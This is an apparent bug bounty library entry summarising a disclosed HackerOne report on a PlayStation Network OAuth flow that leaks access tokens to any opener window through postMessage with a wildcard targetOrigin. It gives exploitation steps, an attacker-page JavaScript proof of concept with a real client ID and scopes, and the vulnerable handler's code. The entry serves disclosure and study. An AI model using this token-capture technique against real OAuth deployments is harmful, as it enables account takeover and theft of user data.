# Authorization Token on PlayStation Network Leaks via postMessage function

OAuth implicit-flow token leaked via postMessage to attacker-controlled targetOrigin=* when requestID prefix 'window' routes token to window.opener.

- Payout: $1,000
- Severity: high
- Program: PlayStation
- Found by: nnez
- Disclosed: 2020-11-21
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/826394
- Library page: https://bugbountylibrary.com/r/h1%3A826394
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:oauth technique:source-review vuln:account-takeover vuln:info-disclosure

**Target:** my.playstation.com / auth.api.sonyentertainmentnetwork.com OAuth authorize + response.html postMessage handler
**Root cause:** sendResponseToApp trusts attacker-controlled targetOrigin GET param and requestID prefix; 'window' prefix routes token to window.opener with wildcard origin, so any opener receives the access token.
**Steps:**
1. Victim logged into PSN.
2. Attacker page calls `window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&...&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_...%26targetOrigin%3D*&prompt=none')`.
3. response.html parses requestID prefix 'window' -> `window.opener.postMessage(token, '*')`.
4. Attacker sets `window.onmessage` and reads `e.data` containing the access token.
5. Replay token against PSN APIs to impersonate victim.
**How found:** Analyzed PSN auth flow, noticed postMessage token exchange, read response.html source, spotted requestID prefix switch and user-controlled targetOrigin, hypothesized wildcard opener leak.
**Exploitation:** Attacker hosts page, opens OAuth authorize URL in popup with requestID=window_* and targetOrigin=*, victim's existing session yields token silently (prompt=none), token posted to opener wildcard and captured.
**Escalation:** Same code base on social.playstation.com yields tokens with friends-list/chat scopes; broader scope set on my.playstation.com enables feed posting and account data access.
**Insight:** When an OAuth response page switches postMessage target between parent/opener based on a requestID prefix, try controlling both the prefix and targetOrigin param to force wildcard delivery to an attacker-opened window.

## Proof of concept (copied exactly from the original report)

**Malicious page opening auth endpoint with wildcard targetOrigin**

```
var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3D*&prompt=none', 'mywindow');
                window.onmessage = (e) => {
                    document.getElementById("token-plate").innerText = JSON.stringify(e.data);
```

**Vulnerable sendResponseToApp postMessage function**

```
function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href =
                h : window.location.href = "https://playstation.com/error"
    }
}
```

